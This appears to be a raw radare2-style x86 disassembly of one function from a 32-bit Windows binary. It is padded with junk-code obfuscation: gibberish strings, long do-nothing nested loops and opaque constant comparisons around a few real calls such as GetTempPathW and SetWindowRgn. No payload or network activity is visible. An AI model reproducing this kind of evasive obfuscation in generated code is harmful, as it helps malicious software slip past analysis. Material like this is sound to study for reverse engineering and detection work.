push eax
push ecx
push ecx
push 0x34de
push 0x2382
push 0x18f1
mov dl, 1
mov dword [ebp - 0x44], 0xaf205a4a
mov ecx, 0x49f3
call fcn.1001b198
add esp, 0x30
lea eax, [ebp - 0x190]
push 0x567c
push ecx
push 1
push 0x152f
push eax
lea eax, [ebp - 0x46c]
push eax
call fcn.1001d723
lea eax, [ebp - 0x190]
push ebx
push eax
lea edx, [ebp - 0x584]
call fcn.1001cf40
mov eax, dword [ebp - 0x1d0]
add esp, 0x20
mov dword [eax], ebx
cmp dword [eax], 0xffffffee
jle 0x1002163b
mov dword [ebp - 0x24], 0x4840
cmp dword [ebp - 0x24], 0x4b4a
jle 0x100214c5
push ebx
push 0x48a
push 0x101c
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
mov edx, ebx
mov dword [ebp - 0x18], ebx
mov ecx, ebx
mov dword [ebp - 0x2c], ebx
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
xor eax, ecx
lea ecx, [ebp - 0x63c]
or eax, edx
cdq
push edx
push eax
call fcn.10002394
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10021474
mov eax, dword [eax]
push eax
call fcn.10047752
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x63c]
call fcn.10005baf
mov ecx, dword [ebp - 0x2c]
inc esi
mov edx, dword [ebp - 0x18]
cmp esi, 0x5455
jl 0x10021455
inc edi
cmp edi, 0x4deb
jl 0x10021453
inc ecx
mov dword [ebp - 0x2c], ecx
cmp ecx, 0x9f0
jl 0x10021451
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 0x77c1
jl 0x1002144c
push ebx
push 0x1506
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0x94], 0x7f759609
cmp dword [ebp - 0x24], 0x470e
jge 0x100214e3
push str.znkemevha_nrfmy_hakp_fxwdded_kaqkyo_vyu_jdckr_pqnv_hctaaqkx_trzuxumi_vire_dojwgnlyd_pccxja
call fcn.10047752
pop ecx
push 1
lea ecx, [ebp - 0x3c4]
mov dword [ebp - 4], 0x2a
call fcn.100017ce
push ecx
lea eax, [ebp - 0x554]
mov byte [ebp - 4], 0x2d
mov dword [ebp - 0x164], 0x83ce7179
lea ecx, [ebp - 0x3c4]
push eax
xor dl, dl
call fcn.1001cb68
pop ecx
pop ecx
mov dword [ebp - 0x94], ebx
jmp 0x10021612
mov dword [ebp - 0x12c], 0xb44cf592
lea ecx, [ebp - 0x4cc]
push 3
call fcn.100017ce
push ecx
push 0xc05
push ecx
push ecx
push 1
push 0x78c9
push 0x5e7c
lea eax, [ebp - 0x4cc]
mov byte [ebp - 4], 0x2e
push 0x244
push eax
mov edx, 0x598e
lea ecx, [ebp - 0x29c]
call fcn.1001d7a7
add esp, 0x24
lea eax, [ebp - 0x4cc]
lea edx, [ebp - 0x3c4]
push eax
lea eax, [ebp - 0x164]
push eax
push ebx
push ecx
push 0x3c38
lea eax, [ebp - 0x46c]
push eax
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x12c]
push eax
lea ecx, [ebp - 0x1d0]
call fcn.1001b6ae
mov eax, dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x12c]
add esp, 0x20
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x1d0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x164]
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x3c4]
setge dl
imul edx, dword [eax]
mov eax, 0x8a82fb34
sub edx, 0x51dbd7cc
cmp eax, edx
mov eax, dword [ebp - 0x3c]
sbb ecx, ecx
inc ecx
sub ecx, eax
mov dword [ebp - 0x12c], ecx
lea ecx, [ebp - 0x4cc]
mov byte [ebp - 4], 0x2d
call fcn.10001830
inc dword [ebp - 0x94]
cmp dword [ebp - 0x94], 3
jle 0x10021527
lea ecx, [ebp - 0x3c4]
mov byte [ebp - 4], 0x2a
call fcn.10001830
mov eax, dword [ebp - 0x1d0]
dec dword [eax]
jmp 0x10021419
mov dword [ebp - 0x24], 0x8a42286e
lea ecx, [ebp - 0x584]
call fcn.10001830
lea ecx, [ebp - 0x46c]
call fcn.10001830
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1d0]
call fcn.10001830
push dword [ebp - 0x29c]
lea eax, [ebp - 0x5c4]
mov byte [ebp - 0x64], bl
push eax
mov dword [ebp - 0x63], 0x6830231
lea eax, [ebp - 0x5d4]
mov dword [ebp - 0x18], 0x3342eb9
lea ecx, [ebp - 0x3dc]
push eax
mov dword [ebp - 0x44], 0xb30b137d
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0x183a
mov dword [ebp - 0x44], 0xfffffff7
push ebx
movdqu xmmword [ebp - 0x5d4], xmm0
mov dword [ebp - 0x3dc], ebx
mov dword [ebp - 0x3d8], ebx
mov dword [ebp - 0x3d4], ebx
call fcn.100018ed
mov dword [ebp - 0x24], 0xb3f54c3d
mov dword [ebp - 0x18], ebx
jmp 0x1002177d
mov dword [ebp - 0x30], 0xfffffff6
mov dword [ebp - 0x1c], ebx
jmp 0x100216f6
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1c4], 0xcf54c3c6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100216e5
mov dword [ebp - 0x1c], ebx
jmp 0x10021712
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x60c], 0xc42ff18c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10021701
mov dword [ebp - 0x1c4], 0x11
cmp dword [ebp - 0x1c4], ebx
je 0x10021773
mov dword [ebp - 0x24], 0xdd1d
mov dword [ebp - 0x3c], 0x76c51653
cmp dword [ebp - 0x18], ebx
je 0x10021740
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x1c4]
mov eax, dword [ebp - 0x1c4]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setg dl
mov dword [ebp - 0x60c], edx
dec dword [ebp - 0x1c4]
jne 0x1002172a
mov dword [ebp - 0x24], 0xffff
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffef
jl 0x100216d9
lea ecx, [ebp - 0x3dc]
call fcn.10001830
push 0xa
pop eax
mov word [ebp - 0xe8], ax
mov dword [ebp - 0x3c], 0x6d06
cmp dword [ebp - 0x3c], 0x7007
jle 0x1002183c
mov edx, ebx
mov dword [ebp - 0x2c], ebx
mov ecx, ebx
mov dword [ebp - 0x28], ebx
mov eax, ebx
mov dword [ebp - 0x24], ebx
mov esi, eax
mov edi, ebx
and esi, ecx
xor esi, edx
mov eax, edi
lea ecx, [ebp - 0x654]
or eax, esi
cdq
push edx
push eax
call fcn.10002394
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100217e3
mov eax, dword [eax]
push eax
call fcn.10047752
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x654]
call fcn.10005baf
inc edi
cmp edi, 0x6f5a
jl 0x100217c7
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
inc eax
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x24], eax
cmp eax, 0x5c54
jl 0x100217bf
inc ecx
mov dword [ebp - 0x28], ecx
cmp ecx, 0x3db6
jl 0x100217ba
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, 0x6b37
jl 0x100217b5
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
push 1
lea ecx, [ebp - 0x230]
call fcn.100017ce
cmp dword [ebp - 0x3c], 0x6af1
jge 0x1002185d
push str.hte_nrglmbugb_wijrz_kfscecp_htlanbhfa_bzgvf_lpce_qexqyq_cvyi_dxvmfc_wgoq_ohcne_zbjrl
call fcn.10047752
pop ecx
push 4
lea ecx, [ebp - 0x40c]
mov dword [ebp - 4], 0x2f
call fcn.100017ce
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x52c]
mov dword [ebp - 0x254], 0xfffffffe
push 3
call fcn.100017ce
mov byte [ebp - 4], 0x33
mov dword [ebp - 0x24], 0x72b3
cmp dword [ebp - 0x24], 0x7329
jle 0x100218fc
mov ecx, ebx
mov dword [ebp - 0x2c], ebx
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
add eax, ecx
lea ecx, [ebp - 0x684]
cdq
push edx
push eax
call fcn.10002394
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100218c6
mov eax, dword [eax]
push eax
call fcn.10047752
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x684]
call fcn.10005baf
mov ecx, dword [ebp - 0x2c]
inc esi
cmp esi, 0x6b6a
jl 0x100218a9
inc edi
cmp edi, 0x7994
jl 0x100218a7
inc ecx
mov dword [ebp - 0x2c], ecx
cmp ecx, 0x504
jl 0x100218a5
mov dword [ebp - 0x3c], 0xffffffff
cmp dword [ebp - 0x24], 0x7080
jge 0x10021917
push str.btfvleu_uxlopyld_xlffseavq_hhhqknipf_gji_ixdcqkc
call fcn.10047752
pop ecx
mov dword [ebp - 4], 0x33
mov dword [ebp - 0x44], 0xaf205a4a
mov dword [ebp - 0x84], ebx
jmp 0x10021946
mov ecx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x230]
mov dword [eax + ecx*4], 7
inc dword [ebp - 0x84]
cmp dword [ebp - 0x84], 1
jl 0x1002192d
push ecx
push 1
push 0x5a1
push ecx
lea eax, [ebp - 0x40c]
push eax
lea ecx, [ebp - 0x84]
call fcn.1001d8ff
add esp, 0x10
lea eax, [ebp - 0x52c]
push eax
push 0x633d
push ebx
push ecx
lea ecx, [ebp - 0x84]
call fcn.1001ebfa
mov eax, dword [ebp - 0x230]
add esp, 0x14
mov dword [eax], ebx
mov dword [ebp - 0x334], 0x7f759609
lea ecx, [ebp - 0x4c0]
push 1
call fcn.100017ce
lea eax, [ebp - 0x540]
mov byte [ebp - 4], 0x36
push eax
push 0x57a9
push ecx
push ecx
lea eax, [ebp - 0x4c0]
mov dword [ebp - 0x244], 0x83ce7179
push eax
push 0x4cd2
mov dl, 1
call fcn.1001b264
add esp, 0x18
lea eax, [ebp - 0x244]
lea edx, [ebp - 0x230]
push eax
push 0x1e50
push 0x6bef
push 1
lea eax, [ebp - 0x334]
push eax
push ecx
push 0x4f8c
lea eax, [ebp - 0x40c]
push eax
lea eax, [ebp - 0x254]
push eax
push 1
push 0x770b
push 0x6a46
push 1
lea ecx, [ebp - 0x4c0]
call fcn.1001d936
add esp, 0x34
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x4c0]
call fcn.10001830
mov eax, dword [ebp - 0x230]
dec dword [eax]
cmp dword [eax], 0xffffffee
jg 0x10021991
lea ecx, [ebp - 0x52c]
mov dword [ebp - 0x3c], 0x8a42286e
call fcn.10001830
lea ecx, [ebp - 0x40c]
call fcn.10001830
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x230]
call fcn.10001830
push 2
pop esi
mov dword [ebp - 0x134], ebx
mov dword [ebp - 0x1c], esi
cmp esi, 5
jae 0x100220fc
push 1
lea ecx, [ebp - 0x240]
call fcn.100017ce
push 0x5d9b
lea eax, [ebp - 0x2a4]
mov dword [ebp - 4], 0x37
push eax
push 0x2610
push 1
push 0x6453
push ecx
push 0x2f1b
push 0x7fc7
push 0x833
push 1
push 0x24dc
lea eax, [ebp - 0x240]
mov dword [ebp - 0x20], 0xfffffff7
push eax
push ebx
mov edx, 0x4fed
mov ecx, 0x37fb
call fcn.1001d936
add esp, 0x34
mov dword [ebp - 0x20], ebx
jmp 0x10021c00
push ebx
push ecx
mov dword [ebp - 0x18], 0x75c19c5a
mov edx, 0x4392
push 0x3d4d
call fcn.1001b3b9
mov dword [ebp - 0x18], ebx
add esp, 0x10
cmp dword [ebp - 0x18], ebx
jl 0x10021bfd
mov dword [ebp - 0xb4], 0x12491e29
mov dword [ebp - 0xb4], ebx
jmp 0x10021bc6
mov dword [ebp - 0x58], 6
mov dword [ebp - 0x58], ebx
jmp 0x10021b7d
push 0x38d0
lea eax, [ebp - 0x240]
mov dl, 1
push eax
push 0x42c
push 0x6c49
push ebx
lea eax, [ebp - 0x58]
mov ecx, 0x1711
push eax
push 0x1f53
push 1
push 0x5ece
push 0x66f8
call fcn.1001e2e7
add esp, 0x28
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], 1
jl 0x10021b3f
mov dword [ebp - 0x58], ebx
jmp 0x10021bbb
cmp dword [ebp - 0x58], ebx
jle 0x10021b88
cmp dword [ebp - 0xb4], ebx
jle 0x10021b33
lea eax, [ebp - 0xb4]
push eax
push ecx
push ebx
lea eax, [ebp - 0x240]
push eax
push 0x3762
push 0x58d4
call fcn.1001d723
add esp, 0x18
dec dword [ebp - 0x18]
jns 0x10021b1e
inc dword [ebp - 0x20]
push ecx
cmp dword [ebp - 0x20], ebx
jle 0x10021af7
push 0x133d
push ebx
lea edx, [ebp - 0x85]
mov byte [ebp - 0x85], bl
call fcn.1001e9fe
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x240]
add esp, 0xc
call fcn.10001830
movzx eax, byte [ebp - 0x64]
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x10021f5a
push dword [ebp - 0x2a4]
movdqa xmm0, xmmword [0x1006e530]
lea eax, [ebp - 0x5e4]
push eax
lea eax, [ebp - 0x5f4]
mov dword [ebp - 0x18], 0x1220985a
push eax
push ebx
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x250], ebx
movdqu xmmword [ebp - 0x5f4], xmm0
mov dword [ebp - 0x24c], ebx
mov dword [ebp - 0x248], ebx
call fcn.100018ed
mov dword [ebp - 4], 0x38
lea ecx, [ebp - 0x418]
mov dword [ebp - 0x28], 0x9e022a5b
push 3
call fcn.100017ce
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x518]
mov dword [ebp - 0x24], 0x6b933888
push 1
call fcn.100017ce
push ebx
push 0x30fa
push 1
lea eax, [ebp - 0x418]
mov byte [ebp - 4], 0x3a
push eax
push 0x3d4a
push 0x22b3
push 0x49ea
push 0x54f5
push 1
mov dword [ebp - 0x264], 0xfffffff8
lea edx, [ebp - 0x33c]
push 0x586a
mov ecx, 0x5414
call fcn.1001e017
add esp, 0x24
lea eax, [ebp - 0x518]
lea edx, [ebp - 0x33c]
push eax
push ecx
mov cl, 1
call fcn.1001dea8
mov eax, dword [ebp - 0x18]
add esp, 0xc
mov eax, dword [ebp - 0x18]
mov edx, 0x1233
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x250]
push 0x7f
push 0x6ab3
push 1
mov dword [eax + 0xc], ecx
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x418]
mov eax, dword [ebp - 0x18]
push ecx
imul eax, dword [ecx + 8]
mov ecx, 0x7742
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x264]
push eax
push 0x5208
push 0x214a
push 0x52ef
call fcn.1001b6ae
add esp, 0x20
lea ecx, [ebp - 0x518]
call fcn.10001830
lea ecx, [ebp - 0x418]
call fcn.10001830
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x250]
call fcn.10001830
mov dword [ebp - 0x24], 0x3dca
cmp dword [ebp - 0x24], 0x4157
jle 0x10021df0
mov edi, ebx
mov esi, ebx
mov eax, edi
mov ecx, 0x1007ba38
cdq
idiv esi
mov eax, edx
cdq
push edx
push eax
call fcn.10005547
inc esi
cmp esi, 0xae
jl 0x10021dc7
inc edi
cmp edi, 0x5e91
jl 0x10021dc5
mov esi, dword [ebp - 0x1c]
movzx eax, byte [ebp + esi - 0x64]
inc eax
mov dword [ebp - 4], 0x3b
cmp dword [ebp - 0x24], 0x3b3f
mov dword [ebp - 0x134], eax
jge 0x10021e1b
mov edx, str.ciuqdmp_zodhn_afzcjrpid_enjpwl
mov ecx, 0x1007ba38
call fcn.100078f4
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x68]
mov dword [ebp - 0x68], 0x8c6a
push eax
push 0x1919
push 0x1419
push 0x5c10
push ebx
sub esp, 0xc
mov dword [ebp - 0x104], 1
mov dword [ebp - 0x9c], 9
mov edx, 0x39b6
mov dword [ebp - 0x344], 0x7be2d3d4
mov dword [ebp - 0x2ac], 1
push 0x4161
push ecx
push 0x5101
push ecx
mov ecx, 0x2f80
call fcn.1001e618
mov eax, dword [ebp - 0x104]
add esp, 0x30
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], ebx
jne 0x10021f0e
mov eax, dword [ebp - 0x9c]
xor ecx, ecx
cmp eax, 0xafc1
mov eax, dword [ebp - 0x104]
setg cl
add eax, ecx
jne 0x10021eb7
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x9c]
imul eax, dword [ebp - 0x68]
test eax, eax
je 0x10021efa
push 1
push 0x1060
push 1
push 0x5dde
push 0x4c43
push 0x133f
lea eax, [ebp - 0x104]
mov edx, 0x3d76
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x9c]
push 1
push eax
lea ecx, [ebp - 0x344]
call fcn.1001e017
movzx eax, byte [ebp + esi - 0x64]
add esp, 0x28
dec esi
add esi, eax
jmp 0x100220f4
movzx edx, byte [ebp + esi - 0x63]
mov eax, esi
sub eax, dword [ebp - 0x134]
movzx eax, byte [ebp + eax - 0x66]
movzx ecx, word [ebp + eax*2 - 0xe8]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x64]
add ecx, edx
mov word [ebp + eax*2 - 0xe8], cx
mov dword [ebp - 0x24], 0x595
cmp dword [ebp - 0x24], 0x655
jle 0x10021fdd
mov dword [ebp - 0x28], ebx
mov edi, ebx
mov esi, ebx
mov ebx, dword [ebp - 0x28]
lea eax, [edi + ebx]
mov ecx, 0x1007ba38
xor eax, esi
cdq
push edx
push eax
call fcn.10005547
inc esi
cmp esi, 0x745
jl 0x10021fa5
inc edi
push 0
pop ebx
cmp edi, 0x2d0e
jl 0x10021fa0
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x1d7e
jl 0x10021f9e
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 4], 0x3d
cmp dword [ebp - 0x24], 0x1d0
jge 0x10021ffc
mov edx, str.pqien_ktsflrnf_otkjxqxf_dsbidiq_pebga_hfxbvg_hgwch_wbtight_uaibx_bdybp_qcvzlikb
mov ecx, 0x1007ba38
call fcn.100078f4
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x24], 8
mov dword [ebp - 0x3c], 2
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x24], 0x915bb00
mov dword [ebp - 0x18], ebx
jmp 0x1002205e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x15c], 0x53644469
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002204d
cmp dword [ebp - 0x158], ebx
jne 0x10022072
add esi, 2
jmp 0x10021a7f
push 3
lea ecx, [ebp - 0x53c]
call fcn.100017ce
xor eax, eax
mov dword [ebp - 4], 0x3f
inc eax
lea ecx, [ebp - 0x430]
mov dword [ebp - 0x274], eax
push eax
call fcn.100017ce
push ecx
push 1
push ecx
lea eax, [ebp - 0x8c]
mov byte [ebp - 4], 0x40
push eax
lea edx, [ebp - 0x53c]
call fcn.1001b3b9
add esp, 0x10
lea eax, [ebp - 0x8c]
mov edx, 0x2eac
push eax
push 0x74d8
lea eax, [ebp - 0x430]
push eax
push ecx
push 1
call fcn.1001b401
add esp, 0x14
mov dword [ebp - 0x8c], ebx
jmp 0x10022184
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x3e4], 0xfffffffd
inc dword [ebp - 0x8c]
cmp dword [ebp - 0x8c], 2
jl 0x1002216d
inc dword [ebp - 0x3e0]
mov dword [ebp - 0x3c], 0x46e1
cmp dword [ebp - 0x3c], 0x48de
jle 0x10022229
mov edx, ebx
mov dword [ebp - 0x18], ebx
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov edi, ebx
mov dword [ebp - 0x24], ebx
mov ecx, edi
mov dword [ebp - 0x30], eax
mov edi, eax
mov esi, ebx
shl edi, cl
mov eax, esi
lea ecx, [ebp - 0x6b4]
or eax, edx
or eax, edi
cdq
push edx
push eax
call fcn.10002394
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100221df
mov eax, dword [eax]
push eax
call fcn.10047752
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x6b4]
call fcn.10005baf
mov edx, dword [ebp - 0x18]
inc esi
cmp esi, 0x1a74
jl 0x100221c1
mov edi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
inc edi
mov dword [ebp - 0x24], edi
cmp edi, 0x1250
jl 0x100221b6
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x1fad
jl 0x100221b1
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 0x1df5
jl 0x100221ac
sub esp, 0x10
lea eax, [ebp - 0x274]
push eax
push ecx
push ecx
push 1
push 0x2a15
push ecx
push 0x1402
lea ecx, [ebp - 0x430]
call fcn.1001b470
add esp, 0x2c
cmp dword [ebp - 0x3c], 0x46b0
jge 0x10022264
push str.igmoi_hjswd_xyp_wdvb_hbiwplnpg
call fcn.10047752
pop ecx
lea ecx, [ebp - 0x430]
call fcn.10001830
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x53c]
call fcn.10001830
xor eax, eax
xor ecx, ecx
mov word [ebp - 0xe6], ax
inc ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], 0xae07ea4c
mov dword [ebp - 0x2c], 0xabebf3b8
mov dword [ebp - 0x24], 0x23c5ad05
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x20], ebx
jmp 0x100222c2
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x13c], 0x1ee4cff1
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x100222b1
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], 0xf230
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
neg eax
sbb eax, eax
neg eax
add ecx, eax
xor eax, eax
imul ecx, dword [ebp - 0x18]
cmp ecx, 6
setne al
xor edx, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
setg dl
xor eax, eax
cmp edx, 4
setge al
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jne 0x10022332
cmp dword [ebp - 0x13c], ebx
jne 0x10022332
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x24]
sub ecx, eax
jne 0x1002233f
push 0x221c
push ecx
push ecx
push 0x720f
push 0x4181
push 0xeae
push 1
mov edx, 0x1eab
mov ecx, 0x4d37
call fcn.1001c891
mov dword [ebp - 0x44], 0xde
add esp, 0x1c
cmp dword [ebp - 0x44], 0x33c
jle 0x10022b44
mov esi, ebx
mov dword [ebp - 0xe4], ebx
mov edi, ebx
mov dword [ebp - 0xec], ebx
mov ecx, edi
mov dword [ebp - 0x120], esi
mov edi, esi
mov dword [ebp - 0x140], ebx
shl edi, cl
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x738]
cdq
push edx
push eax
call fcn.10002394
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10022af8
mov eax, dword [eax]
push eax
call fcn.10047752
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x738]
call fcn.10005baf
inc esi
cmp esi, 0x29a5
jl 0x10022ada
mov edi, dword [ebp - 0xec]
mov esi, dword [ebp - 0xe4]
inc edi
mov dword [ebp - 0xec], edi
cmp edi, 0x2e2d
jl 0x10022ac6
inc esi
mov dword [ebp - 0xe4], esi
cmp esi, 0x1d56
jl 0x10022abe
mov ecx, dword [ebp - 0xc]
mov eax, 0x1007f578
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret